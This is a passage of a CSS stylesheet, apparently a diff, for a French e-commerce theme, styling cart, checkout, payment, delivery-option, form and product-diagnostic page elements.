border-box;-o-box-sizing: border-box;-webkit-box-sizing: border-box;padding: 15px 10px;position: relative;width: 100%;} +#philosophie .texte p { font-family: 'ProximaNova'; font-size: 15px; line-height: 20px;} +#philosophie #footer #social_block { margin: 25px auto 38px; } +#page .rightCol .tiroir_quick_acces {} +#page .rightCol .tiroir_quick_acces .quick_acces { + border-top: 7px solid #b9da1a; + cursor:pointer; + position: relative; +} +#philosophie .rightCol .tiroir_quick_acces .quick_acces { margin-bottom: 10px } +#page .rightCol .tiroir_quick_acces .quick_acces img { + display: block; + float: none; + margin: 0; +} +#page .rightCol .tiroir_quick_acces .quick_acces a,#page .rightCol .tiroir_quick_acces .quick_acces a:hover { + background: none repeat scroll 0 0 rgba(255, 255, 255, 0.6); + bottom: 0; + box-sizing: border-box; + color: #000; + display: block; + font-family: Times new roman,serif; + font-size: 26px; + font-style: italic; + left: 0; + line-height: 26px; + padding: 20px 10px; + position: absolute; + text-align:center; + text-decoration: none; + text-transform: none; + width: 100%; +} + + +#page .rightCol{ + float:right; + width:326px; + position: relative; +} +.rightCol iframe{ + border: 0 none; + float: left; + height: 183px; + margin: 0 0 0 0px; + padding: 0; + width: 326px; +} +.right +.rightCol .bloctitre{ + background:url('../img/blocPhilosophie.png') no-repeat 0 0; + width:286px; + height:204px; + padding:7px 31px 15px 31px; + margin:0 -11px; +} +#page .rightCol .video{ + padding:0 0 20px; +} +#page .rightCol h4{ + line-height:46px; + height:46px; +} +#page .rightCol img{ + float:left; + margin:0 20px 0px 0; +} +#philosophie #page .rightCol .bloctitre .image img{ + width:104px; +} +#page .rightCol p{ + color:#000000; + font-size:12px; + font-family:Arial,Sans-Serif; +} +#page .rightCol .description{ + min-height:110px; +} +#page .rightCol .button{ + margin:0 0 0 124px; +} + +#page p.select a.selectBox-dropdown.inputSelect68{ + padding:3px 0 0 4px; + width:64px; + margin:0 10px 0 0; + background: url("../img/inputSelect68.jpg") no-repeat scroll right 0 transparent; +} +#page p.select a.selectBox-dropdown.inputSelect68 span.selectBox-label{ + width:30px; + text-align:center; + float:left; +} + + +#page p.select a.selectBox-dropdown.inputSelect219{ + padding:3px 0 0 10px; + margin:0 10px 0 0; + width:209px; + background: url("../img/inputSelect219.jpg") no-repeat scroll right 0 transparent; +} +#page p.select a.selectBox-dropdown.inputSelect219:last-child{ + margin:0; +} +#page p.select a.selectBox-dropdown.inputSelect219 span.selectBox-label{ + width:177px; + float:left; +} + + + +form.std fieldset { + margin:20px 0 0; + border:0; + background:none; +} +form.std p{ + clear:both; +} +form.std p.text label, +form.std p.select label, +form.std p.textarea label { + float:left; + padding:6px 0; + width:202px;/* 180 */ + font-size:13px; + text-align:left; + color:#000000; + line-height:30px; + font-size:14px; +} +form.std p.radio label{ + font-size:15px; + margin:0 10px 0 0; +} +form.std p.radio label sup{ + font-size:10px; + vertical-align:6px; +} +form.std p.text input{ + float:left; + padding:3px 15px 0 15px; + height:30px; + line-height:30px; + width:380px;/* 270 */ + font-size: 12px; + color:#000000; + border:0; + background:url('../img/inputText.jpg') no-repeat 0 0; +} +form.std p textarea{ + float:left; + padding:18px 15px 15px 15px; + height:89px; + line-height:14px; + width:380px;/* 270 */ + font-size: 12px; + color:#000000; + border:0; + background:url('../img/inputTextarea.jpg') no-repeat 0 0; + resize:none; +} +form.std p.textarea label { + vertical-align:middle; + position:relative; +} +form.std p.submit{ + padding:20px 0 20px 202px; + +} +form.std p.checkbox{ + padding:20px 0 0px 202px; + +} +form.std p.submit input{ + line-height:36px; + height:36px; + text-transform:uppercase; + background:url("../img/homeblockFleche1.png") no-repeat scroll right center #B9DA1A!important; + border:1Px solid #a9c717; +} +form.std p.textLoi{ + padding:30px 0 0px; + color:#999999; + font-size:11px; +} + + +form.std p.text input.inputText420{ + width:420px;/* 270 */ + background:url('../img/inputText420.jpg') no-repeat 0 0; +} +form.std p.textLoi{ + padding:30px 0 0px; + color:#999999; + font-size:11px; +} + + +/* rightCol */ +#page .rightCol .blocRight { + padding:0 0 1px; + margin:0 0 20px; + background:url('../img/blocRightContact.png') no-repeat left bottom; +} +#page .rightCol .blocRight.green{ + padding:20px 0 0; + background:#b9da1a; + text-align:center; +} +#page .rightCol h5{ + line-height:33px; + height:33px; + font-size:18px; + color:#000000; + background:#b9da1a; + text-align:center; + text-transform:uppercase; +} +#page .rightCol ul.liens li, +#page .rightCol p{ + padding:13px 20px; + text-align:justify; + color:#000000; + line-height:13px; + font-size:11px; +} +#page .rightCol ul{ + padding:14px 0; +} +#page .rightCol ul.liens li{ + padding:0 0; +} +#page .rightCol ul.liens li a{ + padding:0 20px; + color:#000000; + line-height:20px; + font-size:12px; +} +#page .rightCol .blocRight p.align_center{ + text-align:center; +} +#page .rightCol .blocRight p a{ + color:#000000; + font-size:11px; +} + +#page .rightCol .blocRight.green p, +#page .rightCol .blocRight.green h5{ + text-align:center; +} +#page .rightCol .blocRight.green h5{ + font-size:18px; + font-weight:bold; +} +#page .rightCol .blocRight.green p{ + padding:0 20px 13px; + font-size:14px; + line-height:25px; +} +body .sf-menu{margin-top:0;position:relative} +form.std p.text input.inputText612{ + width:596px;/* 612 - 16 */ + background:url('../img/inputText612.png') no-repeat 0 0; + margin:0 0 20px; + padding:3px 8px 0 8px; + line-height:30px; + height:30px; + font-size:13px; + color:#000000; +} +form.std div.text input.inputText209, +form.std p.text input.inputText209{ + width:193px;/* 209 - 16 */ + background:url('../img/inputText209.png') no-repeat 0 0; + margin:0 9px 20px 0; + padding:3px 8px 0 8px; + line-height:30px; + height:30px; + font-size:13px; + color:#000000; + border:0; +} +form.std p.text input.inputText266{ + width:250px;/* 209 - 16 */ + background:url('../img/inputText266.png') no-repeat 0 0; + margin:0 0 20px 0; + padding:3px 8px 0 8px; + line-height:30px; + height:30px; + font-size:13px; + color:#000000; +} +form.std p.text input.inputText287{ + width:271px;/* 209 - 16 */ + background:url('../img/inputText287.png') no-repeat 0 0; + margin:0 0 20px 0; + padding:3px 8px 0 8px; + line-height:30px; + height:30px; + font-size:13px; + color:#000000; +} +form input.inputText146{ + width:130px;/* 209 - 16 */ + background:url('../img/inputText146.png') no-repeat 0 0; + margin:0 0 10px 0; + padding:3px 8px 0 8px; + line-height:30px; + height:30px; + font-size:13px; + color:#000000; + border:0; +} +form.std p.text input.readonly{ + background:#f2f2f2!important; +} +form.std p.text input.inputText276{ + width:260px;/* 280 - 16 */ + background:url('../img/inputText276.png') no-repeat 0 0; + margin:0 0 20px 0; + padding:3px 8px 0 8px; + line-height:30px; + height:30px; + font-size:13px; + color:#000000; +} +form.std p.text input.inputText132{ + width:116px;/* 132 - 16 */ + background:url('../img/inputText132.png') no-repeat 0 0; + margin:0 9px 20px 0; + padding:3px 8px 0 8px; + line-height:30px; + height:30px; + font-size:13px; + color:#000000; +} +form.std p textarea.textarea612{ + padding:11px 8px 5px; + background: url('../img/textarea612.png') no-repeat 0 0; + width:596px /* 612 - 16 */; + height:87px; + border:0; + margin:0 0 20px; + font-size:13px; + color:#000000; +} + +form.std p small a, +form.std p small{ + font-size:11px; + color:#999999; + font-weight:bold; + font-style:italic; +} +form.std p small a{ + text-decoration:underline; +} +#page .borderGreen.auto { + width:auto; + float:none; +} +p.grey, +.grey{ + color:#999999; +} +p.grey6, +p.grey6 a{ + font-size:11px; + color:#666666; +} +p.grey6 a{ + padding:0 5px; +} +#authentication form.std p.radio label{ + float:left; + margin:0 10px 0 0; + width:auto; + line-height:8px; + height:20px; + color:#000000; +} +#authentication form.std p.radio input{ + float:left; + margin:0 2px 0 0; + width:auto; + +} +p.required{ + color:#000000; +} +a.button.back{ + background:url('../img/btFlecheBack.png') no-repeat 8px center #b9da1a; + padding:0 14px 0 24px; + line-height:33px; + height:33px; + font-size:13px; + border:1Px solid #a9c717; + margin:0 10px 0 0; + text-transform:uppercase; +} +a.button.btPlus{ + background:url('../img/btPlus.png') no-repeat 8px center #b9da1a; + padding:0 14px 0 24px; + line-height:33px; + height:33px; + border:1Px solid #a9c717; + margin:0 10px 0 0; + font-size:13px; + text-transform:uppercase; +} +#page .button.simple, +a.button.simple{ + background:#b9da1a!important; + padding:0 14px 0 14px; + line-height:33px; + height:33px; + border:1Px solid #a9c717; + margin:0 10px 0 0; + font-size:13px; + text-transform:uppercase; +} +#page input.button.simple { + line-height:35px; + height:35px; +} +.order-opc-leftColumn{ +width:715px; +float:left; +} +.order-opc-rightColumn{ +width:223px; +float:right; +} +.bgf2f2f2{ + background:#f2f2f2; + border:1px solid #d9d9d9; + padding:20px 17px; +} +#page p#paiements_securises{ + padding:0; + margin:0; +} +#page p#paiements_securises a{ + padding:0 0 15px; + margin:0; + color:#000000; + display:block; + font-size:14px; + font-weight:bold; + font-family:Times New Roman; +} +#page p#paiements_securises a span{ + display:block; + padding:0 0 15px; +} +#page .order-opc-rightColumn .block{ + background:#fafafa; + border:1px solid #d9d9d9; + border-top:0; + padding:20px 17px; + margin:0 0 20px; +} +#page .order-opc-rightColumn .block.products_block{ + background:#ffffff; + border:1px solid #d9d9d9; +} +#page .order-opc-rightColumn .block .title_block{ + padding:0 0 10px; + margin:0; +} +#page .order-opc-rightColumn .block.products_block .title_block{ + padding:0 0 13px; +} +#page .order-opc-rightColumn .block .title_block, +#page .order-opc-rightColumn .block .title_block a{ + background:none; + color:#000000; + display:block; + font-size:14px; + font-weight:bold; + font-family:Times New Roman; + font-weight:normal; +} +#page .order-opc-rightColumn .block.products_block .title_block a{ + font-size:12px; +} +#page .order-opc-rightColumn .block li{ + padding:3px 0; + color:#000000; + list-style:none; + line-height:15px; + display:block; +} +#page .order-opc-rightColumn .block li a{ + background:url('../img/etoileLi.png') no-repeat 0 5px; + line-height:15px; + font-size:11px; + color:#000000; + padding:0 0 0 10px; + display:block; +} + +#page .order-opc-rightColumn .block.products_block li{ + padding:13px 0; + line-height:13px; + list-style:none; + border-top:1px solid #dddddd; + background:none; + height:63px; + +} +#page .order-opc-rightColumn .block.products_block li a{ + background:none; + padding:0; +} +#page .order-opc-rightColumn .block.products_block li a.content_img{ + border:#e6e6e6; + float:left; + width:63px; + height:63px; + margin:0 10px 0 0; + padding:0; +} +#page .order-opc-rightColumn .block.products_block li img{ + float:left; +} +#page .order-opc-rightColumn .block.products_block li a.button{ + background:#f0f0f0; + border:0; + font-size:11px; + line-height:20px; + height:20px; + padding:0 15px; + float:left; + margin:3px 0; +} +#page .order-opc-rightColumn .block.products_block li a.button:hover{ + background:#B9DA1A; +} +#page .submitTop{ + float:right; +} +#page .submitTop .button{ + float:right; + margin:0 0 0 10px; + line-height:36px; + height:36px; + font-size:13px; +} +#page .submitTop input.button{ + padding-bottom:2px; +} +#page .submitTop input.button, +#page .submitTop .button:first-child{ + line-height:38px; + height:38px; + background:url("../img/homeblockFleche1.png") no-repeat scroll right center #B9DA1A!important +} +#page p.green, +#page div.green{ + color:#8daa01; + height:12px; + line-height:12px; + padding:28px 0 20px; + font-size:12px; +} +#order-detail-content{ + border-top:3px solid #000000; + border-bottom:3px solid #000000; + +} +#order-detail-content #cart_summary{ + margin:0; + +} +#cart_summary td{ + padding:10px 0; + border:0; + border-bottom:1px solid #cccccc; + vertical-align:middle; +} +#cart_summary tfoot td{ + border:0; + text-align:right; +} +#cart_summary td.cart_product{ + width:80px; +} +#cart_summary td.cart_product img{ + border:0; +} +#cart_summary td.cart_description{ + width:374px; +} +#cart_summary td.cart_description p.s_title_block{ + color:#000000; + font-size:14px; + font-family:Times New Roman; + padding:2px 0; + line-height:16px; +} +#cart_summary td.cart_description p.descr_short{ + color:#999999; + font-size:12px; + padding:0 0; + line-height:16px; +} +#cart_summary td.cart_quantity{ + width:63px; +} +#cart_summary td.cart_quantity div{ + background:url('../img/panierQty.png') no-repeat 0 0; + height:31px; + width:53px; + padding:2px 0 0 0; +} +#cart_summary td.cart_quantity div a, +#cart_summary td.cart_quantity div .cart_quantity_input{ + border:0; + margin:0; + padding:0; + background:transparent; +} +#cart_summary td.cart_quantity div .cart_quantity_input{ + float:left; + width:30px; + height:31px; + line-height:31px; + text-align:center; +} +#cart_summary td.cart_quantity div a{ + float:right; + width:23px; + height:15px; +} +#cart_summary td.cart_quantity div a img{ + display:none; +} +#cart_summary td.price_discount_del, +#cart_summary td.cart_delete{ + width:85px; +} +#cart_summary td.price_discount_del a, +#cart_summary td.cart_delete a{ + display:block; + line-height:20px; + height:20px; + background:#f0f0f0; + color:#000000; + text-transform:uppercase; + font-size:11px; +} +#cart_summary tr.alternate_item td.cart_delete a, +#cart_summary tr.even td.price_discount_del a, +#cart_summary tr.even td.cart_delete a{ + background:#fff !important; +} + + +#cart_summary td.cart_total{ + width:auto; + text-align:right; + font-size:14px; +} +#cart_summary .tr_cart_voucher form{ + text-align:right; + font-size:12px; +} +#cart_summary .tr_cart_voucher form label{ + padding:0 10px 0 0; +} +#cart_summary .tr_cart_voucher form input.button{ + float:right; + height: 28px; + margin: 2px 0 0; + font-size:11px; + text-align:center; +} +#cart_summary .free_ship td{ + color:#999999; + font-size:12px; +} +#echantillons{ + clear:both; + border-bottom:3px solid #000000; + margin:0 0 20px; +} +#echantillons h2{ + color: #000000; + font-size: 30px; + font-weight:normal; + text-align: center; + text-transform:uppercase; + line-height: 22px; + margin-bottom: 20px; + font-family: Times New Roman; + padding:0; +} +#echantillons ul{ + width:735px; +} +#echantillons li{ + float:left; + width:127px; + height:118px; + position:relative; + margin:0 20px 20px 0; +} +#echantillons li img{ + border:1px solid #e6e6e6; +} +#echantillons li a{ + position:relative; + float:left; + z-index:8; + width:127px; + height:118px; +} +#echantillons li span{ + display:none; + float:left; + position:absolute; + z-index:9; + top:0; + left:0; + width:107px; + height:78px; + color:#ffffff; + text-align:center; + background:url('../img/echantillonMasque.png') no-repeat 0 0; + padding:40px 10px 0; +} +#echantillons li:hover span{ + display:block; +} +#echantillons li input{ + position:absolute; + bottom:12px; + right:12px; + padding:12px; + z-index:10; + cursor:pointer; +} + +#order .addresses{ + border-top:1px solid #000000; + margin:20px 0 20px; + padding:20px 0 20px; +} +#order .addresses .address_delivery label{ + font-weight:bold; + font-size:14px; +} +a.button_grey, +#order .addresses a.button_grey{ + margin-left: 20px; + display:inline-block; + background:#f0f0f0; + padding:0 10px; + line-height:23px; + height:23px; + margin-top:0; + font-size:11px; + text-transform:uppercase; +} +#order .addresses ul{ + padding:0 0 0 20px; + margin:0 0 0; + color:#000000; + font-size:14px; + height:auto!important; +} +#order .addresses ul#address_delivery{ +} +#order .addresses ul li{ + line-height:20px; +} +#order .addresses ul li.address_title, +#order .addresses ul li.address_update{ + display:none; +} +#order .addresses .radioInvoice{ + width:50%; + float:left; + height:20px; +} +#order .addresses hr{ + border:0; + border-bottom:1px solid #000000; + margin:20px 0; + clear:both; +} + +#giftAllowed{ + float:left; +} +#ordermsg{ + float:right; + background:#f0f0f0 url('../img/messagePersonnel.jpg') no-repeat center center; + width:476px; + height:168px; + padding:114px 54px 30px 101px; +} +#ordermsg p {padding:0} +#ordermsg p.txt { + display:none; +} +/*#ordermsg .textarea {float:right}*/ +#ordermsg .textarea textarea { + width:412px; + height:118px; + padding:10px; + border:0; + color:#000000; + font-size:12px; + background:none; +} + +#cart_block{display:none!important;} + + +.order_carrier_content { + +} +.order_carrier_content h3 { +} +.order_carrier_content h3.carrier_title {} +.order_carrier_content{ + width:978px; +} +#modeDeLivraison{ + border-bottom:3px solid #000000; + margin-bottom:20px; +} +#modeDeLivraison .order_carrier_content{ + width:735px; +} +.order_carrier_content .delivery_option input, +.order_carrier_content .delivery_option label{ + cursor:pointer; +} +#modeDeLivraison .order_carrier_content .delivery_option{ + width:215px; + padding:20px 5px; + background:url('../img/delivery_option_small.png') no-repeat 0 0; +} +.order_carrier_content .delivery_option{ + float:left; + width:266px; + height:68px; + padding:20px; + color:#000000; + text-align:center; + margin:0 20px 20px 0; + border:0; + background:url('../img/delivery_option.png') no-repeat 0 0; +} +#modeDeLivraison .order_carrier_content .delivery_option.selected, +.order_carrier_content .delivery_option.selected{ + background:#f0f0f0; +} +.order_carrier_content .delivery_option .delivery_option_price, +.order_carrier_content .delivery_option .delivery_option_title{ + font-size:14px; + font-weight:bold; + color:#000000; +} +.order_carrier_content .delivery_option .delivery_option_price{ + white-space:nowrap; +} +#modeDeLivraison .order_carrier_content .delivery_option:last-child .delivery_option_price{ + /*display:none;*/ +} +#modeDeLivraison .mondialRelay{ + display:none!important; +} +.order_carrier_content .delivery_option:first-child .delivery_option_price{ + display:inline; +} +.order_carrier_content .delivery_option .livr{ + font-size:11px; + color:#000000; +} +.order_carrier_content .delivery_option .delivery_option_delay{ + font-size:11px; + color:#8daa01; +} +.order_carrier_content input { + position:relative; + top:1px +} +.totalTTC{ + font-size:18px; + text-align:right; + color:#000000; + padding:0 0 20px; + font-weight:bold; +} + + +/* step 5 - paiement ************************************************************************** */ +.paiement_block { + float:right; + width:509px; + margin:0; + padding:0 0 0; + border:0; + font-size:12px; + color:#000; + background:none; +} +.paiement_block .top{ + height:16px; + display:block; + background:url('../img/paiement_blockTop.png') no-repeat 0 0; +} +.paiement_block .bottom{ + height:16px; + display:block; + background:url('../img/paiement_blockBottom.png') no-repeat 0 bottom; +} +.paiement_block .repeat{ + padding:4px 20px; + background:url('../img/paiement_blockRepeat.png') repeat 0 0; +} + +.paiement_block #order-detail-content{ + border-top:0; +} +.paiement_block h2{ + font-size:24px; + font-weight:bold; + border-bottom:3px solid #000000; + padding:0 0 20px; + margin:0 0 20px; +} +.paiement_block h3{ + font-size:12px; + text-transform:uppercase; + font-family:Arial,Sans-Serif; + font-weight:bold; + padding:0 0 12px; +} +.paiement_block table.std td, +.paiement_block table.std td a{ + font-size:11px; +} +.paiement_block #cart_summary td{ + vertical-align:top; +} +.paiement_block #cart_summary td.cart_product{ + width:50px; + text-align:left; +} +.paiement_block #cart_summary td.cart_description{ + width:316px; +} +.paiement_block #cart_summary td.cart_quantity{ + width:33px; + font-size:12px; + text-align:center; +} +.paiement_block #cart_summary td.cart_total{ + width:68px; + text-align:right; + font-size:12px; +} +.paiement_block table#cart_summary tfoot tr td, +.paiement_block table#cart_summary tbody tr td { + border-bottom: 1px solid #999999; +} +.paiement_block table#cart_summary tfoot tr td{ + padding:20px 0; +} +.paiement_block table#cart_summary tfoot tr td h3{ + padding:0; +} +.paiement_block table#cart_summary tfoot tr.cart_total_voucher td{ + padding:20px 0; +} +.paiement_block #cart_summary td.cart_description p.descr_short, +.paiement_block #cart_summary td p{ + padding:0 0 10px; + font-size:11px; +} +.paiement_block #cart_summary tfoot td:first-child{ + text-align:left; +} +.paiement_block #cart_summary tfoot td:last-child{ + text-align:right; +} +.paiement_block #cart_summary tfoot #total_price_container span, +.paiement_block #cart_summary tfoot #total_price_container small{ + display:block; +} +.paiement_block #cart_summary tfoot #total_price_container span{ + font-size:18px; + font-weight:bold; + padding:0 0 14px; +} +.paiement_block #cart_summary tfoot #total_price_container small{ + font-size:12px; + font-weight:normal; + padding:0 0 14px; +} +.paiement_block #cart_summary tfoot .cart_total h3{ + font-size:14px; + font-weight:bold; + padding:0 0 14px; + text-transform:uppercase; +} +.paiement_block #cart_summary tfoot .cart_total p{ + text-transform:uppercase; + font-weight:normal; + font-size:12px; +} +.paiement_block table#cart_summary tfoot tr:last-child td{ + border-bottom: 0; + padding-bottom:0; +} +.paiement_block .button_grey{ + float:left; + margin:0 100px 40px 0; +} +.paiement_block .orderAdresses td{ + vertical-align:top; +} +.paiement_block .orderAdresses td:first-child{ + border-right:1px solid #cccccc; + width:50%; +} +.paiement_block .orderAdresses{ + padding:0 0 20px 0; + border-bottom:1px solid #cccccc; + margin:0 0 20px; +} +.paiement_block .orderAdresses table{ + width:100%; +} +.paiement_block .orderAdresses td h2{ + padding:0 0 12px; + font-size:12px; + font-weight:bold; + text-transform:uppercase; + border:0; + margin:0; +} +.paiement_block .orderAdresses td li{ + font-size:12px; + line-height:20px; +} +.paiement_block .orderAdresses .button_grey{ + margin:4px 0 0; +} +.paiement_block .orderAdresses td:last-child h2{ + padding:0 0 20px 20px; +} +.paiement_block .orderAdresses td:last-child li{ + padding:0 0 0 20px; +} +#HOOK_PAYMENT{ + float:left; + width:429px; +} +#HOOK_PAYMENT .payment_module{ + float:left; + width:389px; + height:164px; + background:url('../img/hook_paiement_module.png') no-repeat 0 0 ; + padding:20px; + text-align:center; + margin:0 0 20px; +} +#HOOK_PAYMENT .payment_module strong{ + font-size:24px; + font-weight:bold; + padding:0 0 10px; + display:block; + line-height:24px; +} +#HOOK_PAYMENT .payment_module a{ + display:block; + padding:0 0 10px; +} +#HOOK_PAYMENT .payment_module a.button{ + float:left; + padding: 0 30px 0 14px; + width: auto; + line-height:36px; + height:36px; + background:url('../img/homeblockFleche1.png') no-repeat right center #B9DA1A; + margin:0 0 10px 109px; + text-transform:uppercase; + font-size:13px; + font-family:Times New Roman; +} +#HOOK_PAYMENT .payment_module a.small{ + clear:both; + color:#999999; + font-size:11px; + display:block; + padding:0 20px; +} +.bgOrderConfirmationTop{ + background:url('../img/bgOrderConfirmationTop.png') no-repeat center 0; + height:19px; + width:633px; + margin:20px auto 0 auto; +} +.bgOrderConfirmationBot{ + background:url('../img/bgOrderConfirmationBot.png') no-repeat center 0; + height:19px; + width:633px; + margin:0 auto 20px auto; +} +.bgOrderConfirmationRepeat{ + width:593px; + margin:0 auto; + padding:1px 20px; + background:url('../img/bgOrderConfirmationRepeat.png') repeat-y center 0; +} +.bgOrderConfirmationRepeat hr{ + border:0; + border-bottom:1px solid #000000; + margin-bottom:20px; + padding:0px; +} + +*::-webkit-input-placeholder { /* WebKit browsers */ + color: #000; + opacity:1;filter:alpha(opacity=100); + box-shadow:none; +} +*:-moz-placeholder { /* Mozilla Firefox 4 to 18 */ + color: #000;opacity:1;filter:alpha(opacity=100); + box-shadow:none; +} +*::-moz-placeholder { /* Mozilla Firefox 19+ */ + color: #000;opacity:1;filter:alpha(opacity=100); + box-shadow:none; +} +*:-ms-input-placeholder { /* Internet Explorer 10+ */ + color: #000;opacity:1;filter:alpha(opacity=100); + box-shadow:none; +} +body .sf-menu .categories_block ul li a, +body .sf-menu .categories_block ul li{ + float:none!important; + display:block!important; + text-align:left; + height: auto; + line-height: 16px; + padding:2px 0; +} +body .sf-menu .categories_block ul li a{ + padding:0 0; +} +body .sf-menu .categories_block ul li a{ + padding:0 0 0 10px!important; + width:200px; white-space: normal; +} +body .sf-menu .categories_block .besoins ul.tree li a{ + width:260px; +} +body .sf-menu .categories_block .besoins ul li a{ + width:160px; +} + +body .sf-menu .categories_block .besoins ul{width:160px} +body .sf-menu .categories_block .besoins ul.tree{width:290px} +iframe{zoom:1;z-index:1;position:relative;} +/*#header{zoom:1;z-index:100}*/ +#index #header{height:153px} +.sf-menu .categories_block{zoom:1;z-index:1000} + +form.std p label { + position:relative; +} +form.std p label span.erreur{ + position:absolute; + top:20px; + left:0; + color:#da431a; + font-size:11px; + font-weight:bold; + font-style:italic; + display:block; +} +form.std p label span.erreur.hidden{ + display:none; +} +form.std .textarea textarea, +form.std .text input{color:#000000!important;opacity:1;filter:alpha(opacity=100);} + +.PS_MRRelayPointInfo{ + float:left; + width:180px; + padding:10px 10px 10px 0; +} +.mondialRelay .PS_MRRelayPointInfo.item0{ + clear:both; +} +.mondialRelay .PS_MRRelayPointInfo p{ + float:none; + width:auto; +} +.mondialRelay .PS_MRRelayPointInfo .PS_MRFloatRelayPointSelected, +.mondialRelay .PS_MRRelayPointInfo .PS_MRFloatRelayPointSelecteIt{ + display:block; + background:none; + padding:0; + margin:0; + padding:0 0 20px; +} +.mondialRelay .PS_MRRelayPointInfo p, +.mondialRelay .PS_MRRelayPointInfo p{ + text-align:left; +} +.mondialRelay .PS_MRRelayPointInfo .PS_MRFloatRelayPointSelected input, +.mondialRelay .PS_MRFloatRelayPointSelecteIt input{ + float:left; + margin:0 6px 10px 0; +} +.mondialRelay .PS_MRRelayPointInfo .PS_MRFloatRelayPointSelected label, +.mondialRelay .PS_MRFloatRelayPointSelecteIt label{ + display:block; + padding:0 0 0 10px; + font-size:14px; + font-weight:bold; + color:#000000; +} +.mondialRelay .PS_MRRelayPointInfo img { + float: left; + height: 40px; + padding: 0 0px; + margin:0 10px 20px 0; +}.sf-menu .categories_block ul li a, .sf-menu .categories_block ul li:last-child, .sf-menu .categories_block ul li{ + text-transform:none!important; +} +.g, +.borderGreen h3 span.g, +.borderGreen h2 span.g, +.borderGreen h1 span.g{ + color:#BFDA3F!important +} +.subtitle sup, +.borderGreen li a sup, +.borderGreen h3 sup, +.borderGreen h2 sup, +.borderGreen h1 sup{ + font-size:0.5em; + vertical-align:top +} +.borderGreen strong sup, +.borderGreen .breadcrumb sup{ + font-size:0.5em; + vertical-align:top +} +#barreMap{ + display:block; + height:40px; + color:#000000; + clear:both; +} +#barreMap label{ + float:left; + width:327px; + height:25px; + line-height:25px; + font-weight:bold; + font-size:14px; + text-transform:uppercase; +} +#barreMap input.inputTextMini161, +#barreMap input.inputTextMini291{ + background: url("../img/inputTextMini291.png") no-repeat scroll 0 0 transparent; + border: 0 none; + color: #000000; + font-size: 13px; + height: 25px; + line-height: 14px; + margin: 0 20px 0 0; + padding: 0 8px; + width: 289px; +} +#barreMap input.inputTextMini161{ + margin:0; + width: 184px; + background: url("../img/inputTextMini161.png") no-repeat scroll 0 0 transparent; +} +#barreMap .button{ + float:right; + width:107px; + height:23px; + color:#ffffff; + background:url('../img/mrSubmit.png') no-repeat 0 0; + border:0; + margin:0; + padding:0; + text-align:center; +} +body .sf-menu li li a{ + text-transform:none; +} + +.boxPartage{ + width:300px; + height:80px; + border:1px solid #000000; + text-align:center; + padding:0px 0px 0; + margin:10px 20px 0px 0; + float:left; +} +.boxPartage p{ + font-size:11px; + padding:10px 0 0; + clear:both; +} +.boxPartage.item3{ + width:264px; + height:60px; + padding:20px 20px 0; + float:right; + margin:10px 0 0; +} +.boxPartage.item1 a{ + display:block; + width:260px; + line-height:30px; + padding:50px 20px 0; + height:30px; + text-align:center; + background:url('../img/imprimerDiag.png') no-repeat center 17px; +} +.boxPartage.item2 a{ + display:block; + width:260px; + line-height:30px; + padding:50px 20px 0; + height:30px; + text-align:center; + text-transform:uppercase; + background:url('../img/mailDiag.png') no-repeat center 17px; +} +#fancybox-content p{ +font-size:14px; +line-height:20px; +} +#diagnostic #fancybox-content{width:auto!important;} + +#index .bx-prev, +#index .bx-next{ + + height:410px!important; +} +#index #gallery, +#index #gallery .rubrique, +#index #sliderHome{ + height:410px!important; + width:1280px!important; + margin:0!important; +} +#module-paypal-submit.hide-left-column #center_column{ + width:100%; +} + +div.header_wrapper{ + background:#000; + border-bottom:1px solid #333; +} + +div.header_wrapper #header .sf-right{ + display:none; +} + +/* MODULE BLOCK CONSTRUCTOR */ +.block-block-constructor{ + margin-bottom: 10px; +} + +/* BLOG */ +.psblog_title a.psblog_title-inner, +.psblog_title a:visited.psblog_title-inner + { + text-transform: uppercase; +} + +div.share .details a { + color: white; +} + +/* MODULE ANTADIS DIAGNOSTIC (#module-antadis_diagnostic-display)*/ +.profil-finish .profil-description, +.profil-finish .profil-product, +.profil-finish .profil-complement{ + text-align: center; +} + .profil-finish .profil-description h2, + .profil-finish .profil-product h2, + .profil-finish .profil-complement h2{ + padding:0; + font-family: Times New Roman; + font-weight: normal; + font-size: 22px; + line-height: 40px; + } + + .trait-stars{ + width: 240px; + height: 1px; + background:#000; + margin:0 auto; + position: relative; + margin-bottom: 20px; + } + .trait-stars:after{ + content: '' ; + background: url('../img/diag-black-star.png') no-repeat center ; + display: block; + height: 20px; + width: 20px; + position: absolute; + z-index: 1; + top: -9px; + left: 0; + right: 0; + margin: 0 auto; + } + .profil-finish .profil-description p{ + width: 80%; + margin: 0 auto; + } + .profil-finish .profil-complement{ + margin-top: 30px; + margin-bottom: 30px; + } + +.profil-finish .profil-product-list .product-list-item, +.profil-finish .profil-complement-list .complement-list-item{ + width: 300px; + height: 420px; + display: inline-block; + position: relative; + cursor: pointer; + margin-right: 20px; +} +.profil-finish .profil-product-list .product-list-item:last-child, +.profil-finish .profil-complement-list .complement-list-item:last-child{ + margin-right: 0; +} + .product-list-item a.product_img_link, + .complement-list-item a.product_img_link{ + display: block; + height: calc(100% - 45px); + } + .product-list-item a.product_img_link img, + .complement-list-item a.product_img_link img{ + height: auto; + } + .product-list-item .descr, + .complement-list-item .descr{ + display: none; + position: absolute; + z-index: 1; + top: 0; + left: 0; + bottom: 45px; + background-color: rgba(229,229,229,0.75); + padding: 50px 20px 0 20px; + font-weight: 600; + + } + .product-list-item:hover .descr, + .complement-list-item:hover .descr{ + display: block; + } + .product-list-item .descr .product-desc, + .complement-list-item .descr .product-desc{ + line-height: 15px; + } + .product-list-item .descr p a, + .complement-list-item .descr p a{ + text-decoration: underline; + } + .product-list-item .checkbox-choice, + .complement-list-item .checkbox-choice{ + background: url('../img/diag-checkbox.png') no-repeat center #ccdb52; + height: 45px; + } + .product-list-item .checkbox-choice.checked, + .complement-list-item .checkbox-choice.checked{ + background: url('../img/diag-checkbox-checked.png') no-repeat center #ccdb52; + } + +.profil-finish p.profil-finish a{ + float: right; + background: #ccdb52; + border: none; + line-height: 36px; + padding: 0 15px; +} +.profil-finish .boxPartage{ + border: none; +} + +.etape0{ + width: 80%; + margin:0 auto; + +} + .etape0 img, + .etape0 div.description{ + display: inline-block; + vertical-align: middle; + } + .etape0 div.description{ + /* text-align: left; + background: url('../img/diagnostic.png') no-repeat right #fff; + background-size: contain; + min-height: 330px; */ + box-sizing: border-box; + width: 390px; + text-align: center; + margin-left: 20px; + } + .etape0 .description h1{ + margin-bottom: 50px; + } + .etape0 .description p{ + padding: 0 0 20px; + line-height: 20px; + font-size: 14px; + text-align: center; + /* margin-right: 200px; */ + } + 